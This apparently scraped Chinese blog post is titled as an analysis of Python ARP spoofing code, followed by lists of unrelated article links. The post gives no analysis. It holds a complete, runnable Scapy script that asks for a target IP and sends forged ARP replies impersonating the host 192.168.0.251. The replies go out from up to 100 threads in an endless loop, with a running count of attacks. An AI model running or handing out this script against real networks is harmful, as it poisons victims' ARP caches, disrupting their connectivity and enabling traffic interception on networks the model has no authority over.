python发送arp欺骗攻击代码分析


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')
    Main(ip = ip).start()
Python 相关文章推荐
python getopt 参数处理小示例
Jun 09 Python
Flask框架Jinjia模板常用语法总结
Jul 19 Python
Python 删除整个文本中的空格,并实现按行显示
Jul 24 Python
python获取本机所有IP地址的方法
Dec 26 Python
树莓派使用python-librtmp实现rtmp推流h264的方法
Jul 22 Python
django 中的聚合函数,分组函数,F 查询,Q查询
Jul 25 Python
Python箱型图绘制与特征值获取过程解析
Oct 22 Python
python实现人机猜拳小游戏
Feb 03 Python
Python 实现自动完成A4标签排版打印功能
Apr 09 Python
解决阿里云邮件发送不能使用25端口问题
Aug 07 Python
mac系统下安装pycharm、永久激活、中文汉化详细教程
Nov 24 Python
asyncio异步编程之Task对象详解
Mar 13 Python
分析python服务器拒绝服务攻击代码
Jan 16 #Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
You might like
php一些公用函数的集合
2008/03/27 PHP
支持中文的php加密解密类代码
2011/11/27 PHP
php中存储用户ID和密码到mysql数据库的方法
2013/02/06 PHP
PHP面向对象程序设计实例分析
2016/01/26 PHP
xml 与javascript结合的问题解决方法
2007/03/24 Javascript
关于IE、Firefox、Opera页面呈现异同 写脚本很痛苦
2009/08/28 Javascript
JS完成代码前最好对其做5件事
2013/04/07 Javascript
使用jquery的ajax需要注意的地方dataType的设置
2013/08/12 Javascript
js函数名与form表单元素同名冲突的问题
2014/03/07 Javascript
完美兼容各大浏览器的jQuery仿新浪图文淡入淡出间歇滚动特效
2014/11/12 Javascript
jquery插件star-rating.js实现星级评分特效
2015/04/15 Javascript
VUE实现日历组件功能
2017/03/13 Javascript
基于vue2.0+vuex的日期选择组件功能实现
2017/03/13 Javascript
Js实现中国公民身份证号码有效性验证实例代码
2017/05/03 Javascript
Node.js+ES6+dropload.js实现移动端下拉加载实例
2017/06/01 Javascript
JavaScript获取tr td 的三种方式全面总结(推荐)
2017/08/15 Javascript
npm配置国内镜像资源+淘宝镜像的方法
2018/09/07 Javascript
nuxt配置通过指定IP和端口访问的实现
2020/01/08 Javascript
UEditor 自定义图片视频尺寸校验功能的实现代码
2020/10/20 Javascript
学习python (2)
2006/10/31 Python
Python编程求质数实例代码
2018/01/31 Python
tensorflow构建BP神经网络的方法
2018/03/12 Python
python 删除指定时间间隔之前的文件实例
2018/04/24 Python
在python带权重的列表中随机取值的方法
2019/01/23 Python
Python3利用print输出带颜色的彩色字体示例代码
2019/04/08 Python
python求绝对值的三种方法小结
2019/12/04 Python
Python使用configparser库读取配置文件
2020/02/22 Python
分公司经理岗位职责
2013/11/11 职场文书
销售经理竞聘书
2014/03/31 职场文书
关工委先进个人事迹材料
2014/05/23 职场文书
我为党旗添光彩演讲稿
2014/09/10 职场文书
教师学习三严三实心得体会
2014/10/13 职场文书
中秋客户感谢信
2015/01/22 职场文书
关于召开会议的通知
2015/04/15 职场文书
解决Vue+SpringBoot+Shiro跨域问题
2021/06/09 Vue.js
django项目、vue项目部署云服务器的详细过程
2022/07/23 Servers